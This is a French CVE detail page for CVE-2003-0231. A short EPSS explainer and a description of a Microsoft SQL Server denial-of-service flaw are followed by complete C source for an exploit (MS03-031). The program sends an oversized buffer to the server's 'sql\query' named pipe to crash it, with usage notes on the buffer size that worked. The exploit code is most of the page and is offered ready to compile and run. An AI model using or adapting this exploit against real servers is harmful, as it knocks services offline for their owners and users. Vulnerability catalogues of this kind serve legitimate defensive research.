CVE-2003-0231 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/8274/info Microsoft SQL Server and the Microsoft Data Engine have been reported prone to a denial of service attack. Any local or remote user, who can authenticate and is part of the Everyone Group, may trigger a denial of service condition in an affected SQL Server. It has been reported that, if a remote attacker sends an unusually large request to a named pipe, the SQL Server will become unresponsive. //////////////////////////////////////////////////////////////////////////////// // // exp for Microsoft SQL Server DoS(MS03-031) // // By : refdom // Email : [email protected] // Home Page : http://www.xfocus.org // //////////////////////////////////////////////////////////////////////////////// #include <stdio.h> #include <stdlib.h> #include <windows.h> void Usage() { printf("******************************************\n"); printf("exp for Microsoft SQL Server DoS(MS03-031)\n\n"); printf("\t Written by Refdom\n"); printf("\t Email: [email protected]\n"); printf("\t Homepage: www.xfocus.org\n\n"); printf("Usage: DOSMSSQL.exe server buffersize\n"); printf("eg: SQLScanner.exe 192.168.0.1 9000\n\n"); printf("The buffersize depends on service pack level.\n"); printf("I test it on my server: windows 2000, mssqlserver no sp.\n"); printf("when buffersize is 9000, the server can be crashed.\n"); printf("\n"); printf("*******************************************\n\n"); } int main(int argc, char* argv[]) { char lpPipeName[50]; char *lpBuffer = NULL; unsigned long ulSize = 0; BOOL bResult; DWORD dwWritten = 0, dwMode; HANDLE hPipe; Usage(); printf("Starting...\n"); if (argc != 3) goto Exit0; if (strlen(argv[1]) < 20) { sprintf(lpPipeName, "\\\\%s\\\\.\\pipe\\sql\\query", argv[1]); } else { printf("Error!server\n"); goto Exit0; } ulSize= atol(argv[2]); lpBuffer = (char*)malloc(ulSize + 2); if (NULL == lpBuffer) { printf("malloc error!\n"); goto Exit0; } memset(lpBuffer, 0, ulSize + 2); memset(lpBuffer, 'A', ulSize); *lpBuffer = '\x12'; *(lpBuffer + 1) = '\x01'; *(lpBuffer + 2) = '\x00'; printf("Connecting Server...\n"); hPipe = CreateFile(lpPipeName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (INVALID_HANDLE_VALUE == hPipe) { printf("Error!Connect server!%d\n", GetLastError()); goto Exit0; } dwMode = PIPE_READMODE_MESSAGE; bResult = SetNamedPipeHandleState( hPipe, // pipe handle &dwMode, // new pipe mode NULL, // don't set maximum bytes NULL); // don't set maximum time if (!bResult) { printf("Error!SetNamedPipeHandleState.%d\n", GetLastError()); goto Exit0; } bResult = WriteFile(hPipe, lpBuffer, ulSize + 1, &dwWritten, NULL); if (!bResult) { printf("\n\tError!WriteFile.%d\n\n", GetLastError()); printf("When see the error message, the target may be crashed!!\n\n"); goto Exit0; } Exit0: return 0; }